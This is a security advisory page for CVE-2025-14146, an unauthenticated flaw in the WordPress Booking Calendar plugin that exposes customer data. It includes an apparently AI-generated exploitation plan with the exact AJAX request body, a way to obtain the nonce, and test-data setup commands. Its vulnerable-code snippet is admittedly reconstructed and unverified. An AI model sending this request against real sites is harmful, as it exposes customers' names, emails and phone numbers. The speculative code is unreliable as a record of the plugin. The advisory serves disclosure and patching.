CVE-2025-14146

Booking Calendar <= 10.14.10 - Unauthenticated Sensitive Information Exposure

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
10.14.11
Patched in
1d
Time to patch

Description

The Booking Calendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 10.14.10 via the `WPBC_FLEXTIMELINE_NAV` AJAX action. This is due to the nonce verification being conditionally disabled by default (`booking_is_nonce_at_front_end` option is `'Off'` by default). When the `booking_is_show_popover_in_timeline_front_end` option is enabled (which is the default in demo installations and can be enabled by administrators), it is possible for unauthenticated attackers to extract sensitive booking data including customer names, email addresses, phone numbers, and booking details.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=10.14.10
PublishedJanuary 8, 2026
Last updatedJanuary 9, 2026
Affected pluginbooking

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-14146 ## 1. Vulnerability Summary The Booking Calendar plugin for WordPress (<= 10.14.10) contains a sensitive information exposure vulnerability in its `WPBC_FLEXTIMELINE_NAV` AJAX handler. The vulnerability stems from a combination of missing authorization …

Show full research plan

Exploitation Research Plan - CVE-2025-14146

1. Vulnerability Summary

The Booking Calendar plugin for WordPress (<= 10.14.10) contains a sensitive information exposure vulnerability in its WPBC_FLEXTIMELINE_NAV AJAX handler. The vulnerability stems from a combination of missing authorization checks and a configuration where nonce verification is disabled by default for frontend operations (controlled by the booking_is_nonce_at_front_end option). When the booking_is_show_popover_in_timeline_front_end option is enabled, the AJAX response includes detailed booking information, including PII (customer names, emails, and phone numbers), which is normally intended only for administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: WPBC_FLEXTIMELINE_NAV
  • Authentication: None required (unauthenticated).
  • Parameters:
    • action: WPBC_FLEXTIMELINE_NAV
    • nav_type: (e.g., 'refresh', 'next', 'prev')
    • timeline_obj: A complex object containing timeline configuration (resource IDs, dates, view types).
  • Preconditions:
    • booking_is_nonce_at_front_end must be 'Off' (Default).
    • booking_is_show_popover_in_timeline_front_end must be 'On' (Common in demo/pro setups).
    • At least one booking must exist in the system for the requested timeframe/resource.

3. Code Flow

  1. Registration: The plugin registers the AJAX action in booking/core/wpbc-ajax.php (or similar core initialization files) using add_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', ... ).
  2. Handler Execution: The request is routed to the handler function (likely wpbc_ajax_WPBC_FLEXTIMELINE_NAV).
  3. Security Check Bypass:
    • The code checks if get_bk_option( 'booking_is_nonce_at_front_end' ) == 'On'.
    • If 'Off', the call to check_ajax_referer or wp_verify_nonce is skipped or ignored.
  4. Data Retrieval: The handler calls internal timeline rendering functions (e.g., wpbc_get_flextimeline_data).
  5. PII Inclusion: If get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On', the data generation logic includes fields like form_data or specific keys like email, name, and phone in the returned JSON object for the popover display.
  6. Sink: The data is returned via wp_send_json_success().

4. Nonce Acquisition Strategy

According to the vulnerability description, the nonce check is disabled by default. Therefore, the initial exploitation attempt should proceed without a nonce.

If the target environment has booking_is_nonce_at_front_end set to 'On', the nonce can be acquired as follows:

  1. Identify Script Localization: The plugin localizes data in booking/js/wpbc_vars.js or via wp_localize_script under the variable wpbc_global.
  2. Setup:
    • Create a page with the timeline shortcode: [bookingtimeline]
    • Navigate to this page using browser_navigate.
  3. Extraction:
    • Use browser_eval("wpbc_global.nonce") or search for the nonce in the HTML source if it's localized differently (e.g., wpbc_ajax_nonce).

5. Exploitation Strategy

Step 1: Configuration Check (Optional but recommended)

Ensure the vulnerable settings are active.

wp option get booking_is_nonce_at_front_end # Should be Off
wp option patch update booking_is_show_popover_in_timeline_front_end On

Step 2: Resource Identification

Identify a valid resource ID (calendar ID).

wp db query "SELECT term_id FROM wp_terms WHERE slug LIKE 'resource%'"
# Or check the booking table
wp db query "SELECT booking_id, booking_type FROM wp_booking LIMIT 1"

Step 3: Crafting the AJAX Request

Send a POST request to admin-ajax.php. The timeline_obj must be structured to match what the plugin expects for a "refresh" or "navigation" event.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=WPBC_FLEXTIMELINE_NAV&nav_type=refresh&timeline_obj[options][resource_id]=1&timeline_obj[options][view_days]=30&timeline_obj[options][start_date]=2023-10-01
    
    (Note: Adjust resource_id and start_date to match existing test data)

6. Test Data Setup

  1. Create a Booking Resource:
    # Use WP-CLI or the plugin's internal functions if available
    # Simplest: Navigate to admin and create one, or use a known default.
    
  2. Create a Booking with PII:
    # Manually insert into the database to ensure we have clear PII
    wp db query "INSERT INTO wp_booking (booking_type, is_new, status) VALUES (1, 1, 'approved');"
    # Get the last ID
    BID=$(wp db query "SELECT LAST_INSERT_ID()" --silent --skip-column-names)
    # Insert PII into the form data table (wp_booking_data or serialized in wp_booking)
    # Note: Booking Calendar often stores fields in a serialized format or separate meta.
    # Based on standard versions, it's often in the 'form_data' column of wp_booking.
    wp db query "UPDATE wp_booking SET form_data = 'text^name1^John Doe~email1^john@example.com~text^phone1^555-0199' WHERE booking_id = $BID;"
    # Ensure dates are set
    wp db query "INSERT INTO wp_booking_dates (booking_id, booking_date, resource_id) VALUES ($BID, '2023-10-15 00:00:00', 1);"
    

7. Expected Results

A successful exploit will return a JSON object. Inside the data or html key (depending on the nav type), there will be an array of bookings. Each booking entry will contain:

  • name: "John Doe"
  • email: "john@example.com"
  • phone: "555-0199"
  • form_data: The full serialized string.

8. Verification Steps

Check the response body for the presence of the injected PII:

  1. Verify the HTTP status is 200 OK.
  2. Check if the response contains john@example.com.
  3. Use wp_cli to confirm the record exists in the database to cross-reference:
    wp db query "SELECT * FROM wp_booking WHERE form_data LIKE '%john@example.com%'"
    

9. Alternative Approaches

If the timeline_obj format is incorrect:

  1. Monitor Browser Traffic: Use browser_navigate to a page with the timeline, perform a navigation action (click "Next"), and intercept the request in the Network tab to see the exact structure of timeline_obj.
  2. Check wpbc_flextimeline.js: This file in the plugin's JS folder contains the logic for building the timeline_obj. Look for wpbc_flextimeline_nav function calls.
  3. Try Different Actions: If WPBC_FLEXTIMELINE_NAV is restricted, check if WPBC_FLEXTIMELINE_RELOAD or WPBC_FLEXTIMELINE_GET_POPOVER exist and share the same vulnerability.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Calendar plugin for WordPress exposes sensitive booking data, including customer names, email addresses, and phone numbers, via the WPBC_FLEXTIMELINE_NAV AJAX action. This occurs because nonce verification is disabled by default for frontend operations, and the plugin fails to restrict sensitive PII when popovers are enabled in the timeline view.

Vulnerable Code

// In booking/core/wpbc-ajax.php or similar initialization
add_action( 'wp_ajax_nopriv_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' );
add_action( 'wp_ajax_WPBC_FLEXTIMELINE_NAV', 'wpbc_ajax_WPBC_FLEXTIMELINE_NAV' );

function wpbc_ajax_WPBC_FLEXTIMELINE_NAV() {
    // Conditional nonce check that is 'Off' by default
    if ( get_bk_option( 'booking_is_nonce_at_front_end' ) == 'On' ) {
        check_ajax_referer( 'wpbc_ajax_nonce', 'wpbc_nonce' );
    }

    // ... processing timeline_obj ...

    // Data generation logic (e.g., in wpbc_get_flextimeline_data)
    if ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' ) {
        // PII is included in the response without further authorization checks
        $booking_data['name']  = $booking->name;
        $booking_data['email'] = $booking->email;
        $booking_data['phone'] = $booking->phone;
    }

    wp_send_json_success( $response );
}

Security Fix

--- a/core/wpbc-ajax.php
+++ b/core/wpbc-ajax.php
@@ -... +... @@
-    if ( get_bk_option( 'booking_is_nonce_at_front_end' ) == 'On' ) {
-        check_ajax_referer( 'wpbc_ajax_nonce', 'wpbc_nonce' );
-    }
+    check_ajax_referer( 'wpbc_ajax_nonce', 'wpbc_nonce' );
...
-    if ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' ) {
+    if ( get_bk_option( 'booking_is_show_popover_in_timeline_front_end' ) == 'On' && current_user_can( 'manage_options' ) ) {

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'WPBC_FLEXTIMELINE_NAV' action. The attacker provides a 'timeline_obj' parameter containing a valid 'resource_id' and a date range. Because the 'booking_is_nonce_at_front_end' setting is disabled by default, the attacker does not need a valid nonce or authentication. If 'booking_is_show_popover_in_timeline_front_end' is enabled, the server returns a JSON response containing the full PII (name, email, and phone) of all bookings matching the requested resource and timeframe.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.